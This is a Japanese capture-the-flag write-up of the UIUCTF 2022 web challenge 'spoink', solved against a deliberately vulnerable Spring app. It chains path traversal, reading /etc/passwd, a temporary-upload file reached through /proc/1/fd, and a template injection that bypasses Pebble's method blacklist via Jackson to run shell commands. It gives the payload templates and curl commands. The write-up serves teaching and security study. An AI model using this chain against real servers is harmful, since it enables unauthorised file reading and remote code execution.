UIUCTF 2022 writeup - web/spoink
UIUCTF 2022に ./Vespiary で出てチームとしては27位でした。
- ctftime: https://ctftime.org/event/1600
UIUCTFはSIGPwny主催のCTFで、スコアページのデザインまで凝っていて好印象でした。ロゴデザインがかなり好きです。問題についてはjailカテゴリがあったのが印象的でした[1]。また、中難易度CTFだと思って気軽に参加したら非常に難しい[2]問題もちらほらあって、来年はもっと腰を据えて挑みたいです。
解いた問題の中でもwebのspoink[3]という問題が特におもしろく、また、SSTIやSpringに対する知見も得たので、共有の意味も兼ねて久しぶりのwriteupです。
spoink
絵がかわいい。たぶんバネブーをイメージして描かれてる[4]。
- 2 solves / 495 points
- tag: web, java
- author: arxenix
問題文:
"a cute anthropomorphised spring as a line drawing"
forget PHP, Java is the new best thing
問題概要
Java製のWebアプリケーション。
フラグはサーバ上のアプリケーションのワーキングディレクトリに実行ファイル./getflag
として置かれている。このファイルを実行してその出力結果を得るのがこの問題のゴール。
配布ファイルはバイトコードなので適当なツールでデコンパイルします。どこかのCTFみたいにバイトコードに細工はされておらず、素直に元のコードが見れたので一安心。
重要そうなファイルは以下のとおりです:
SpoinkApplication.class
:
1 | /* snip */ |
Spring製のアプリケーション。テンプレートエンジンとしてPebbleが使われている。初めて知ったテンプレートエンジンだが文法はTwigに近いようだ。なお、最新版の3.1.5が使われていて既知の脆弱性を使う問題ではなさそう。
HomeController.class:
1 | /* snip */ |
エンドポイントはこれだけ。クエリパラメータx
でテンプレートエンジンのレンダリング対象のファイルを指定できる。
例えば/?x=about.pebble
にアクセスすると、サーバ上のtemplates/about.pebble
がレンダリングされる:
application.properties
:
1 | pebble.prefix = templates |
Pebbleの設定値。
問題の本質部分のファイルは以上です。非常にシンプルな問題。
解法
以下ではローカルテストのためにhttp://localhost:8080
を使っています。
パート1: path traversal
雑に/?x=../../../../etc/passwd
にアクセスすると/etc/passwd
が見れた。
ソースコードを確認したら:
でパス解決されていた。どうやら「pebble.prefix
→ クエリパラメータx
→ pebble.suffix
」の順に単純なパス結合をしているだけで、上の例ではtemplates/../../../../etc/passwd
がアクセスパスとなっている。
つまり、ファイル名が既知であり且つ権限のあるサーバ上の任意のファイルに対してテンプレートエンジンを噛ませることができるということである。
問題の設定から察するに出題者が期待している攻撃は、「①好きな文字列を仕込んだファイルをサーバ上に配置 → ②LFIでテンプレートエンジンにそれを読ませる → ③SSTI to RCE 」の流れだろう。まずは、①が可能かどうかを考えたい。
パート2: 好きな文字列を仕込んだファイルをサーバ上に配置
エンドポイントは /
のみで、好きな文字列を仕込んだファイルをサーバ上に配置するのは一見不可能に見える。
ところでPHPではPHP_SESSION_UPLOAD_PROGRESS
を使ったmultipart POSTで任意文字列を仕込んだセッションファイルをサーバ上に配置する攻撃手法が知られている。HITCON CTF 2018で出題された[5]:
似たような機能がSpringにも存在しないかなあ〜と調べたらそれっぽいものを見つけた:
- https://stackoverflow.com/questions/29923682/how-does-one-specify-a-temp-directory-for-file-uploads-in-spring-boot
- https://docs.spring.io/spring-boot/docs/2.6.6/api/org/springframework/boot/autoconfigure/web/servlet/MultipartProperties.html
multipart POSTをリクエストしたらアップロードしたファイルがspring.http.multipart.location
に一時的に置かれるらしい。今回は未設定なので、デフォルトの/tmp
以下に配置されるとのこと。
都合が良いことに、エンドポイント/
に付いてるアノテーションは@RequestMapping({"/"})
でメソッド未指定なので、POSTリクエストも受け付ける。
試しにmultipart POSTを実験してみた。
適当なファイルbig.txtを用意し、
1 | $ curl --limit-rate 1k -X POST http://localhost:8080 -F a=@./big.txt |
でリクエストを送り、レスポンスが返ってくる前にサーバ上(Dockerコンテナ内)でlsで確認:
1 | chalusr@4c6d91e6f3f8:/tmp/tomcat.8080.2138978788528246977/work/Tomcat/localhost/ROOT$ ls -la |
期待通り、サーバ上にファイルが配置された。ファイルパスは
/tmp/tomcat.8080.2138978788528246977/work/Tomcat/localhost/ROOT/upload_6c990f06_a3c1_471e_a5cc_1fc69fac296c_00000000.tmp
になった。ここで、一時ファイルは通信が完了すると即座に消えることが予想されるため、巨大なファイルを送りつけ、且つ、rate limitをかけてリクエストを送ることで一時ファイルが長く残存するような戦略を取っている。
パート3: テンプレートエンジンにアップロードファイルを読ませる
好きなファイルをサーバ上に配置できることは確認できたが、テンプレートエンジンにこのファイルを読ませるには、あらかじめ一時ファイルのパスを知っておく必要がある。
まずファイル名がどのように定まるのかを調べた。ソースコードは
1 | // From: https://github.com/apache/tomcat/blob/9.0.60/java/org/apache/tomcat/util/http/fileupload/disk/DiskFileItem.java#L571-L573 |
となっていて、UID
は
1 | // From: https://github.com/apache/tomcat/blob/9.0.60/java/org/apache/tomcat/util/http/fileupload/disk/DiskFileItem.java#L79-L80 |
より、乱数が使われている。
推測は無理に見える。
途方に暮れてソースコードを漁っていたら、アプリケーション側でこの一時ファイルを明示的に使用していなくてもSpring(Tomcat)の内部実装ではファイルをopenしていることに気づいた。つまり、ファイルディスクリプタが割り当てられるのでは?と閃いた。
Dockerコンテナ内ではアプリケーションのプロセスIDは1なので、/proc/1/fd/*
から一時ファイルへのシンボリックリンクが張られそう。
再び
1 | $ curl --limit-rate 1k -X POST http://localhost:8080 -F a=@./big.txt |
でリクエストを送り、レスポンスが返ってくる前にサーバ上でlsで確認:
1 | chalusr@4c6d91e6f3f8:/proc/1/fd$ ls -la |
/proc/1/fd/14
にシンボリックリンクがある。
試しに
1 | $ echo '{{ "Hello, SSTI" }}' > hello.pebble |
で先頭にHello, SSTI
とレンダリングされるhello.pebble
を作成して送信し、ブラウザで
/?x=../../../../proc/1/fd/14
にアクセスした:
良さそう。テンプレートエンジンも動いている。これは勝ちです。
あとはSSTIからRCEにつなげるだけ。どうせ既知のRCE手法があるでしょと軽く見ていた。そう、このときまでは...
パート4: SSTI to RCE(起)
ネット上からRCEにもっていくペイロードを探したら、あっさり見つかった:
どうやら
1 | {% set cmd = 'id' %} |
を投げるといいらしい。やってみる...
しかし、id
コマンドの結果が表示されない。
サーバの状態を見るとエラーが出ていた(わかりやすく改行を入れています):
1 | com.mitchellbosecke.pebble.error.ClassAccessException: |
なんかセキュリティ機構が入ってる???
調べてみたら
- Issue: https://github.com/PebbleTemplates/pebble/issues/493
- PR: https://github.com/PebbleTemplates/pebble/pull/511
で修正されていた。使われているPebbleは最新版なので当然この修正も入っている。
かなり調べたけど、この修正版以降のRCEにもっていくペイロードはネット上で見つからない...。
つまり、独力でSSTI to RCEを達成しないといけない。つら...。
気を取り直してまずはPR#511のmitigationの内容を把握する。
内容としては、テンプレート内でオブジェクトのメソッドが呼ばれたときに
のisMethodAccessAllowed
が呼ばれ、black listによって悪性のメソッド呼び出しを弾いている。
Class
やRuntime
のインスタンスにメソッドが生やせなかったり、getClass
メソッドが呼べなかったりと制限が厳しい。このvalidatorをbypassした上でRCEに持っていくのが当面の目標である。black list形式のvalidationはbypassするために存在すると言っても過言ではない。
また、続く考察のためにメモしておくと、アプリケーション側のPebbleの設定でvalidatorを切り替えることが可能で、NoOpMethodAccessValidator
に設定すれば任意のメソッドを呼ぶことができる。特に設定していなかった場合はデフォルトのBlacklistMethodAccessValidator
が使われ、今回はそれである。
パート4: SSTI to RCE(承)
ここからはRCEにもっていくためのGadget探しがスタート。
まず、Pebble本体ではなくPebbleへのSpring拡張から攻めることにした。
- pebble-spring-boot-starter: https://pebbletemplates.io/wiki/guide/spring-boot-integration/
どうやら通常のPebbleに加えて
{{ beans }}
: Springアプリケーションに登録されているBeanの集合{{ request }}
:HttpServletRequest
インスタンス{{ response }}
:HttpServletResponse
インスタンス{{ session }}
:HttpSession
インスタンス
にアクセスできるらしい。Class
インスタンスが直接使えない以上、Gadgetを集めるにはClass
以外の色々なクラスのインスタンスにアクセスできるようにすることが重要である。
経験上、SpringアプリケーションはBeanとして暗黙的に多くのインスタンスが登録されている。そのため、
1 | {{ beans.keySet() }} |
でBean一覧を取得した:
1 | [org.springframework.context.annotation.internalConfigurationAnnotationProcessor, org.springframework.context.annotation.internalAutowiredAnnotationProcessor, org.springframework.context.annotation.internalCommonAnnotationProcessor, org.springframework.context.event.internalEventListenerProcessor, org.springframework.context.event.internalEventListenerFactory, spoinkApplication, org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory, homeController, pebbleLoader, org.springframework.boot.autoconfigure.AutoConfigurationPackages, org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration, propertySourcesPlaceholderConfigurer, org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration, websocketServletWebServerCustomizer, org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration, org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat, tomcatServletWebServerFactory, org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration, servletWebServerFactoryCustomizer, tomcatServletWebServerFactoryCustomizer, org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor, org.springframework.boot.context.internalConfigurationPropertiesBinderFactory, org.springframework.boot.context.internalConfigurationPropertiesBinder, org.springframework.boot.context.properties.BoundConfigurationProperties, org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter, server-org.springframework.boot.autoconfigure.web.ServerProperties, webServerFactoryCustomizerBeanPostProcessor, errorPageRegistrarBeanPostProcessor, org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration, dispatcherServlet, spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties, org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration, dispatcherServletRegistration, org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration, org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration, taskExecutorBuilder, applicationTaskExecutor, spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties, org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration, error, beanNameViewResolver, org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration, conventionErrorViewResolver, spring.web-org.springframework.boot.autoconfigure.web.WebProperties, org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration, errorAttributes, basicErrorController, errorPageCustomizer, preserveErrorControllerTargetClassPostProcessor, org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration, requestMappingHandlerAdapter, requestMappingHandlerMapping, welcomePageHandlerMapping, localeResolver, themeResolver, flashMapManager, mvcConversionService, mvcValidator, mvcContentNegotiationManager, mvcPatternParser, mvcUrlPathHelper, mvcPathMatcher, viewControllerHandlerMapping, beanNameHandlerMapping, routerFunctionMapping, resourceHandlerMapping, mvcResourceUrlProvider, defaultServletHandlerMapping, handlerFunctionAdapter, mvcUriComponentsContributor, httpRequestHandlerAdapter, simpleControllerHandlerAdapter, handlerExceptionResolver, mvcViewResolver, mvcHandlerMappingIntrospector, viewNameTranslator, org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter, defaultViewResolver, viewResolver, requestContextFilter, org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration, formContentFilter, com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration, pebbleViewResolver, com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration, springExtension, pebbleEngine, pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties, org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration, forceAutoProxyCreatorToUseClassProxying, org.springframework.boot.autoconfigure.aop.AopAutoConfiguration, org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration, applicationAvailability, org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration, standardJacksonObjectMapperBuilderCustomizer, spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties, org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration, jacksonObjectMapperBuilder, org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration, parameterNamesModule, org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration, jacksonObjectMapper, org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration, jsonComponentModule, org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration, org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration, lifecycleProcessor, spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties, org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration, stringHttpMessageConverter, org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration, mappingJackson2HttpMessageConverter, org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration, org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration, messageConverters, org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration, spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties, org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration, spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties, org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor, org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration, scheduledBeanLazyInitializationExcludeFilter, taskSchedulerBuilder, spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties, org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration, restTemplateBuilderConfigurer, restTemplateBuilder, org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration, tomcatWebServerFactoryCustomizer, org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration, org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration, characterEncodingFilter, localeCharsetMappingsCustomizer, org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration, multipartConfigElement, multipartResolver, spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties, org.springframework.aop.config.internalAutoProxyCreator] |
spoinkApplication
、pebbleEngine
、pebbleLoader
などがあるのはこの問題ならではである。例えばBeanpebbleLoader
のインスタンスが欲しい場合は
1 | {{ beans.get("pebbleLoader") }} |
で手に入る。
また、RCEをするためにはClass.forName
がほしいなと思い、依存ライブラリ内で検索してひとつひとつ悪用できないか探ってみた:
jackson-databindライブラリのTypeFactoryクラスの
が利用できそうである。
1 | {% set stringClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("java.lang.String") %} |
でString
のClass
インスタンスが手に入る。続いてClass
インスタンスから元のインスタンスを生成したい。これは
1 | {{ beans.get("jacksonObjectMapper").readValue("{}", stringClass) }} |
で可能。デフォルトコンストラクタが定義されていることが条件になるが、これで好きなクラスのインスタンスを生成できるようになった。
やっぱりJacksonのObjectMapperって便利だな。
パート4: SSTI to RCE(転)
あとはよしなにRCEまでのGadgetを組み立てれば良い。
試行錯誤したらできた(evil.pebble
):
1 | {% set accessValidatorClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("com.mitchellbosecke.pebble.attributes.methodaccess.NoOpMethodAccessValidator") %} |
なにをやっているかと言うと、
NoOpMethodAccessValidator
のインスタンスを生成 → 変数accessValidator
に代入PebbleEngine$Builder
のインスタンスを生成 → 変数builder
に代入builder
からaccessValidator
をvalidatorに設定したPebbleEngine
をbuildし、変数engine
に代入- リクエストパラメータ
rceFileName
を読み込んで、変数rceFileName
に代入 engine
でrceFileName
のファイルを読み込んで評価した内容をHTTPレスポンスに流す
でPebbleEngineの内部でmitigationを消したPebbleEngineを作成してそれを用いて任意ファイルをレンダリング可能にした。
1 | $ seq 50000 | sed 's/^.*$/test/' >> evil.pebble |
でファイルを巨大にしたのち、パート1~2で行った攻撃を行ってブラウザで
/?x=../../../../proc/1/fd/14&rceFileName=about.pebble
にアクセスするとabout.pebble
の内容がレンダリングされた:
良さそう。
なんと、今レンダリングしているテンプレートエンジンはmitigationが吹き飛んでるのでRCEし放題です。
パート4: SSTI to RCE(結)
RCEの準備が整ったので今度はフラグファイルを実行するテンプレートを用意する。
用意した(rce.pebble
):
1 | {% set cmd = 'sh;-c;./getflag > /tmp/flag.txt'.split(";") %} |
これがレンダリングされたら/tmp/flag.txt
にフラグが出力される。
同様に
1 | $ seq 50000 | sed 's/^.*$/test/' >> rce.pebble |
でファイルを巨大化して
1 | $ curl --limit-rate 1k -X POST http://localhost:8080 -F a=@./rce.txt & curl --limit-rate 1k -X POST http://localhost:8080 -F a=@./rce.txt |
を送りつけると、リクエストが2並列に飛ぶので、rce.pebble
は/proc/1/fd/14
と/proc/1/fd/15
に存在することになる。
ところでPebbleの実装を読むとわかるのだが、実は一度レンダリングされたファイルの中身はキャッシュされるので、/proc/1/fd/14
が書き換わっても問題ない。つまり、
/proc/1/fd/14
はevil.pebble
の内容/proc/1/fd/15
はrce.pebble
の内容
が対応していることになる。ブラウザで
/?x=../../../../proc/1/fd/14&rceFileName=../../../../proc/1/fd/15
にアクセスすると
でProcess[pid=70, exitValue=0]
が表示されているのでうまくいっているようだ。
この状態で/x?=../../../../tmp/flag.txt
にアクセスするとフラグが表示された:
ローカルでの攻撃成功が確認できたので、以上を本番サーバに行うとフラグ入手。
フラグ
1 | uiuctf{gRumP1g_iS_uglY} |
かわらずのいしを持たせましょう。
まとめ
自明なpath traversalから始まってLFI→SSTI→RCEまでつなげる複雑なexploitを要求する問題でした。SSTI to RCEパートでは、手法が確立されていないテンプレートエンジンに対して自分でGadgetを見つけてRCEまで組み立てる必要がありました。他のテンプレートエンジンだと
にあるように既知のSSTI to RCEの手法はたくさんあり、例えばJinja2はCTFだと頻出すぎて出題の流れがpyjailの類になりがちです。そういった意味だと、今回の問題は自分で攻撃手法を一から考えるということで、1つの脆弱性から致命的な脆弱性につなげる過程を楽しむ特有のおもしろさがありました。
ちなみに似た問題としてWeCTF 2022で出題された Request Bin (Extra Hard) があります。こちらはGoの標準ライブラリtext/template
のSSTIを起点に、サーバ上のランダムなファイル名のフラグを奪取する問題です:
- 公式リポジトリ: https://github.com/wectf/2022#request-bin-extra-hard
- 解法例: https://gist.github.com/arkark/51e6dee1c548616ed35ac64fbe006fc1
同様に手法が確立されていないので自力でGadgetを見つけて組み立てる必要があります。この問題もおもしろいのでおすすめです。
jailカテゴリではpyjailやFirefoxアドオンに関する問題が出題されてました。Firefoxアドオンの問題は見たことがないのでwriteupが手に入ったら復習したいです。他にもsystemsやosintの謎カテゴリもありました。 ↩︎
面倒くさいという観点で難しいということではなく、本質的に解くのが難しく解きごたえがあって良いという意味。 ↩︎
Spoinkはポケモンのバネブーの英語名らしい。 ↩︎
追記: どうやらDALL·EやMidjourneyで生成した画像(絵)らしい。すべての問題に対して絵が用意されていてすごいなと思っていたけど、なるほど。問題文内の"a cute anthropomorphised spring as a line drawing"がAIに投げた文字列に対応している。CTFらしい良い試みだと思う。 ↩︎
PHPに関しては「HITCON CTFでPHPやばすぎ問題が出題される → 典型として浸透する」という流れがよくあるイメージなので、Orange氏の作問リストをチェックしておくのは有用なのではと最近考えてる。 ↩︎